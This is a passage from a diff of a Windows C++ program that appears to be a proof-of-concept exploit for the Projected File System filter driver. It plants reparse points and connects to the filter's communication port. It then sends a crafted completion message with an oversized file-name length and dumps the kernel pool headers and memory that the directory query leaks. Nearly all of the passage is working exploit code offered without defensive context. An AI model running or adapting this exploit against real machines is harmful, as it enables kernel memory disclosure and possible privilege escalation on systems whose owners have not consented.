StringFromCLSID(InstanceInfo.InstanceID, &guidString); + wprintf(L"InstanceId: %s\n", guidString); + + + LPCOLESTR lpsz = guidString; + GUID InstanceId; + hr = CLSIDFromString(lpsz, &InstanceId); + if (FAILED(hr)) + { + wprintf(L"Failed to create instance ID (0x%08x)\n", hr); + return; + } + + CoTaskMemFree(guidString); +} + +void CreateVirtualizationRoot() { + + HRESULT hr; + const wchar_t* rootName = LR"(C:\virtRoot)"; + + RemoveDirectoryW(rootName); + + if (!CreateDirectoryW(rootName, nullptr)) + { + DWORD gle = GetLastError(); + if (gle != ERROR_ALREADY_EXISTS) { + hr = HRESULT_FROM_WIN32(gle); + wprintf(L"Failed to create virtualization root (0x%08x)\n", hr); + } + + return; + } + + GUID instanceId; + + hr = CoCreateGuid(&instanceId); + if (FAILED(hr)) + { + wprintf(L"Failed to create instance ID (0x%08x)\n", hr); + return; + } + + hr = PrjMarkDirectoryAsPlaceholder(rootName, + nullptr, + nullptr, + &instanceId); + if (FAILED(hr)) + { + wprintf(L"Failed to mark virtualization root (0x%08x)\n", hr); + return; + } + +} + +HRESULT MyStartEnumCallback( + const PRJ_CALLBACK_DATA* callbackData, + const GUID* enumerationId +) +{ + //printf("MyStartEnumCallback\n"); + return S_OK; +} + +HRESULT MyEndEnumCallback( + const PRJ_CALLBACK_DATA* callbackData, + const GUID* enumerationId +) +{ + //printf("MyEndEnumCallback\n"); + return S_OK; +} + +HRESULT MyGetEnumCallback( + const PRJ_CALLBACK_DATA* callbackData, + const GUID* enumerationId, + PCWSTR searchExpression, + PRJ_DIR_ENTRY_BUFFER_HANDLE dirEntryBufferHandle +) +{ + CompleteCommandHandler(callbackData->CommandId); + return S_OK; +} + +HRESULT MyGetPlaceholderInfoCallback( + const PRJ_CALLBACK_DATA* callbackData +) +{ + return S_OK; +} + +HRESULT MyGetFileDataCallback( + const PRJ_CALLBACK_DATA* callbackData, + UINT64 byteOffset, + UINT32 length +) +{ + return S_OK; +} + +void StartVirtualizatioInstance() { + PRJ_CALLBACKS callbackTable; + + // Supply required callbacks. + callbackTable.StartDirectoryEnumerationCallback = MyStartEnumCallback; + callbackTable.EndDirectoryEnumerationCallback = MyEndEnumCallback; + callbackTable.GetDirectoryEnumerationCallback = MyGetEnumCallback; + callbackTable.GetPlaceholderInfoCallback = MyGetPlaceholderInfoCallback; + callbackTable.GetFileDataCallback = MyGetFileDataCallback; + + // The rest of the callbacks are optional. + callbackTable.QueryFileNameCallback = nullptr; + callbackTable.NotificationCallback = nullptr; + callbackTable.CancelCommandCallback = nullptr; + + HRESULT hr; + const wchar_t* rootName = LR"(C:\virtRoot)"; + + PRJ_NAMESPACE_VIRTUALIZATION_CONTEXT instanceHandle; + hr = PrjStartVirtualizing(rootName, + &callbackTable, + nullptr, + nullptr, + &instanceHandle); + if (FAILED(hr)) + { + wprintf(L"Failed to start the virtualization instance (0x%08x)\n", hr); + return; + } + + gInstanceHandle = instanceHandle; +} + + +struct _PRJ_MSG_OUT_HEADER +{ + int MessageType; + int Size; + int Status; + char Data[256]; +}; + + +struct _PRJ_REPARSE_DATA +{ + int Version; + int dwFlags; + GUID virtualizationInstanceID; + PRJ_PLACEHOLDER_VERSION_INFO PlaceHolderVersionInfo; + unsigned __int16 PlaceHolderRelPathLength; + WCHAR szPlaceHolderRelPathBuffer[1]; + +}; + +struct _PRJ_REPARSE_DATA_BUFFER +{ + ULONG ReparseTag; + USHORT ReparseDataLength; + USHORT Reserved; + _PRJ_REPARSE_DATA ReparseData; +}; + + +HRESULT CreateFileWithReparsePoint( + PHANDLE pFileHandle, + LPCWSTR lpcwFileName, + _PRJ_REPARSE_DATA* ReparseData, + USHORT ReparseDataLength, + int Tag, + bool bDir) { + + size_t ReparseDataLength64; // rbp + const WCHAR* ErrorMessage; // rdi + USHORT BufferLength; // bx + ULONG hr; // ebx MAPDST + _PRJ_REPARSE_DATA_BUFFER* ReparseDataBuffer; // rax MAPDST + int LastError; // eax + ULONG Size; // eax + size_t Length; // rax + + *pFileHandle = NULL; + + ReparseDataLength64 = ReparseDataLength; + ErrorMessage = 0i64; + BufferLength = ReparseDataLength + 8; + if ((unsigned __int16)(ReparseDataLength + 8) > 0x4000u + || ReparseDataLength != ReparseData->PlaceHolderRelPathLength + 0x11A) + { + hr = 0x80070057; // E_INVALIDARG + goto LABEL_12; + } + ReparseDataBuffer = (_PRJ_REPARSE_DATA_BUFFER*)calloc(1ui64, (unsigned __int16)(ReparseDataLength + 8)); + if (!ReparseDataBuffer) + { + hr = 0x8007000E; // E_OUTOFMEMORY + LABEL_12: + Size = 2; + + return hr; + } + ReparseDataBuffer->ReparseTag = Tag; + ReparseDataBuffer->ReparseDataLength = ReparseDataLength64; + memcpy(&ReparseDataBuffer->ReparseData, ReparseData, ReparseDataLength64); + + //HANDLE FileHandle = CreateFileW(lpcwFileName, FILE_WRITE_ATTRIBUTES, 7u, 0i64, OPEN_ALWAYS, 0x2200000u, 0i64); + + UNICODE_STRING usFileName = { 0 }; + + RtlInitUnicodeString(&usFileName, (PWSTR)lpcwFileName); + OBJECT_ATTRIBUTES ObjectAttributes = { 0 }; + ObjectAttributes.Length = 0x30; + ObjectAttributes.ObjectName = &usFileName; + + ULONG FileAttributes = FILE_ATTRIBUTE_NORMAL; + ULONG CreateOptions = FILE_SYNCHRONOUS_IO_ALERT; + + if (bDir) { + CreateOptions = CreateOptions | FILE_DIRECTORY_FILE; + } + + IO_STATUS_BLOCK IoStatusBlock = { 0 }; + HANDLE FileHandle = NULL; + int Status = NtCreateFile( + &FileHandle, + FILE_WRITE_ATTRIBUTES | SYNCHRONIZE, + &ObjectAttributes, + &IoStatusBlock, + 0i64, + FileAttributes, + FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, + FILE_OPEN_IF, + CreateOptions, + NULL, + 0); + + if (DeviceIoControl(FileHandle, 0x900A4u, ReparseDataBuffer, BufferLength, 0i64, 0, 0i64, 0i64))// FSCTL_SET_REPARSE_POINT + { + hr = 0; + } + else + { + LastError = GetLastError(); + hr = LastError; + if (LastError > 0) + hr = (unsigned __int16)LastError | 0x80070000; + ErrorMessage = L"Failed to send FSCTL_SET_REPARSE_POINT"; + } + free(ReparseDataBuffer); + if (hr) + goto LABEL_12; + + *pFileHandle = FileHandle; + + return hr; + +} + +_PRJ_REPARSE_DATA* CreateReparseData(PCWSTR szRelPath, DWORD dwFlags, PUSHORT pLength) { + USHORT RelPathLength = MAX_PATH; + USHORT Length = RelPathLength + 0x11A; + _PRJ_REPARSE_DATA* ReparseData = (_PRJ_REPARSE_DATA*)calloc(1ui64, Length); + + ReparseData->Version = 2; + ReparseData->PlaceHolderRelPathLength = RelPathLength; + + if (RelPathLength) { + memcpy(ReparseData->szPlaceHolderRelPathBuffer, szRelPath, RelPathLength); + } + + *pLength = Length; + return ReparseData; +} + + +void PrintOutput(char* buf, int Size) { + + //printf("\n"); + for (int i = 0; i < Size; i++) + { + if (i != 0 && i % 8 == 0 && i % 16 != 0) { + printf("-"); + + } + else if (i > 0) + { + printf(" "); + } + + + if (i % 16 == 0 && i != 0) { + printf("\n"); + } + + printf("%02x", (unsigned)(unsigned char)buf[i]); + + } + printf("\n"); +} + +struct _POOL_HEADER +{ + union + { + struct + { + USHORT PreviousSize : 8; //0x0 + USHORT PoolIndex : 8; //0x0 + USHORT BlockSize : 8; //0x2 + USHORT PoolType : 8; //0x2 + }; + ULONG Ulong1; //0x0 + }; + ULONG PoolTag; //0x4 + union + { + struct _EPROCESS* ProcessBilled; //0x8 + struct + { + USHORT AllocatorBackTraceIndex; //0x8 + USHORT PoolTagHash; //0xa + }; + }; +}; + +void PrintPoolHeader(_POOL_HEADER* Header) { + if (Header->PoolTag != 0) { + + char szTag[0x10] = { 0 }; + ULONG size = Header->BlockSize * 0x10; + memcpy(szTag, &Header->PoolTag, 4); + + printf("PoolTag: %s, size: 0x%x\n", szTag, size); + } + +} + +typedef struct _FILE_ID_EXTD_DIR_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + ULONG ReparsePointTag; + FILE_ID_128 FileId; + WCHAR FileName[6]; +} FILE_ID_EXTD_DIR_INFORMATION, * PFILE_ID_EXTD_DIR_INFORMATION; + + +void NpQueryDirectory(HANDLE hRoot, FILE_INFORMATION_CLASS FileInfoClass) { + DWORD OutputBufferLength = 0x1000; + PVOID OutputBuffer = malloc(OutputBufferLength); + memset(OutputBuffer, 0, OutputBufferLength); + + UNICODE_STRING FileName = { 0 }; + PCWSTR lpcwName = L"3*"; + RtlInitUnicodeString(&FileName, (PWSTR)lpcwName); + + while (1) { + + memset(OutputBuffer, 'B', OutputBufferLength); + IO_STATUS_BLOCK IoStatusBlock = { 0 }; + NTSTATUS Status = NtQueryDirectoryFile(hRoot, NULL, NULL, NULL, &IoStatusBlock, OutputBuffer, OutputBufferLength, FileInfoClass, true, &FileName, false); + + if (IoStatusBlock.Information == OutputBufferLength) + { + //printf("NpQueryDirectory Status=0x%x\t\tGle=0x%x\t\tReturnBytes=0x%x\n", Status, GetLastError(), IoStatusBlock.Information); + + PFILE_ID_EXTD_DIR_INFORMATION pDirInfo = (PFILE_ID_EXTD_DIR_INFORMATION)((char*)OutputBuffer+4); + + PrintPoolHeader((_POOL_HEADER*)(pDirInfo->FileName)); + PrintOutput((char*)(pDirInfo->FileName), 0x100); + //PrintOutput((char*)OutputBuffer, 0x100); + printf("\nPress enter key to continue . . .\n"); + getchar(); + } + } +} + +struct _PRJ_MSG_IN_HEADER +{ + int MessageType; + int InputBufferSize; +}; + +struct _PRJ_MSG_COMLETE_COMMAND_HANDLER_IN_DATA +{ + ULONG DataSize; + int _4; + GUID virtualizationInstanceID; + int Tag; + char _1c[60]; + ULONG CommandId; + int RetStatus; + ULONG ResultLength; + char ResultBuffer[sizeof(FILE_ID_EXTD_DIR_INFORMATION)]; +}; + +struct _PRJ_MSG_COMLETE_COMMAND_HANDLER +{ + _PRJ_MSG_IN_HEADER Header; + _PRJ_MSG_COMLETE_COMMAND_HANDLER_IN_DATA Data; +}; + +DWORD WINAPI CompleteCommandHandler(int CommandId) { + + static HANDLE hPort = NULL; + static GUID InstanceId; + + if (hPort == NULL) { + PRJ_VIRTUALIZATION_INSTANCE_INFO InstanceInfo; + HRESULT hr = PrjGetVirtualizationInstanceInfo(gInstanceHandle, &InstanceInfo); + InstanceId = InstanceInfo.InstanceID; + + + //PrjStopVirtualizing(gInstanceHandle); + + _PRJ_CONNECTION_CONTEXT Context; + Context.VolumeLength = 0x100; + Context.Version = 1; + Context.virtualizationInstanceID = InstanceId; + wcscpy_s(Context.szVolume, L"c:\\"); + ULONG SizeOfContext = sizeof(_PRJ_CONNECTION_CONTEXT); + + HRESULT hResult = FilterConnectCommunicationPort(L"\\PrjFltPort", 0, &Context, SizeOfContext, NULL, &hPort); + //HRESULT hResult = FilterConnectCommunicationPort(L"\\PrjFltPort", 0, NULL, 0, NULL, &hPort); + + printf("FilterConnectCommunicationPort hResult:%x\thPort:%x\n", hResult, hPort); + + } + + static DWORD InputBufferLength = 0x1000; + static PVOID InputBuffer = malloc(InputBufferLength); + + static DWORD OutputBufferLength = 0x1000; + static PVOID OutputBuffer = malloc(OutputBufferLength); + + memset(InputBuffer, 0, InputBufferLength); + memset(OutputBuffer, 0, OutputBufferLength); + + DWORD BytesReturned = 0; + + _PRJ_MSG_COMLETE_COMMAND_HANDLER Message = { 0 }; + + memset(&Message, 'A', sizeof(Message)); + + Message.Header.MessageType = 5; + Message.Header.InputBufferSize = sizeof(Message); + Message.Data.DataSize = sizeof(_PRJ_MSG_COMLETE_COMMAND_HANDLER_IN_DATA); + + Message.Data.Tag = 0x9000001C; + Message.Data.virtualizationInstanceID = InstanceId; + Message.Data.CommandId = CommandId; + Message.Data.RetStatus = 0; + Message.Data.ResultLength = sizeof(FILE_ID_EXTD_DIR_INFORMATION) + 0x100 + 0xc; + + + + PFILE_ID_EXTD_DIR_INFORMATION FileInfo1 = (PFILE_ID_EXTD_DIR_INFORMATION)Message.Data.ResultBuffer; + FileInfo1->NextEntryOffset = 0; + FileInfo1->FileNameLength = 0x1000c; + FileInfo1->FileName[0] = L'.'; + + + memcpy(InputBuffer, &Message, sizeof(Message)); + InputBufferLength = Message.Header.InputBufferSize; + + HRESULT hr = FilterSendMessage(hPort, InputBuffer, InputBufferLength, OutputBuffer, OutputBufferLength, &BytesReturned); + + + //printf("FilterSendMessage hResult:%x\n", hr); + + return 0; +} + +void PrjCompleteCommandHandler() +{ + CreateVirtualizationRoot(); + StartVirtualizatioInstance(); + PrintInstanceId(); + + //CloseFltPortHandle(); + + + USHORT Length = 0; + HANDLE DirFileHandle = NULL; + HANDLE FileHandle = NULL; + _PRJ_REPARSE_DATA* ReparseData = NULL; + ReparseData = CreateReparseData(L"dd", 0x10, &Length); + HRESULT hr = CreateFileWithReparsePoint(&DirFileHandle, L"\\??\\c:\\virtroot\\dd", ReparseData, Length, 0x9000001C, true); + CloseHandle(DirFileHandle); + + + ReparseData = CreateReparseData(L"dd\\3", 0x10, &Length); + hr = CreateFileWithReparsePoint(&FileHandle, L"\\??\\c:\\virtroot\\dd\\3", ReparseData, Length, 0x9000001C, false); + CloseHandle(FileHandle); + + ReparseData = CreateReparseData(L"dd\\4", 0x10, &Length); + hr = CreateFileWithReparsePoint(&FileHandle, L"\\??\\c:\\virtroot\\dd\\4", ReparseData, Length, 0x9000001C, true); + CloseHandle(FileHandle); + + FILE_INFORMATION_CLASS FileInfoClass = FileDirectoryInformation; + FileHandle = CreateFileW(L"c:\\virtroot\\dd", FILE_READ_DATA, 3u, 0i64, 3u, 0x2200000u, 0i64); + //PatchLib(); + + NpQueryDirectory(FileHandle, FileInfoClass); + + + CloseHandle(FileHandle); + + getchar(); +} + + +int wmain(int argc, WCHAR* argv[]) +{ + PrjCompleteCommandHandler(); + //CompleteCommandHandler(0); + return 0; +} \ No newline at end of file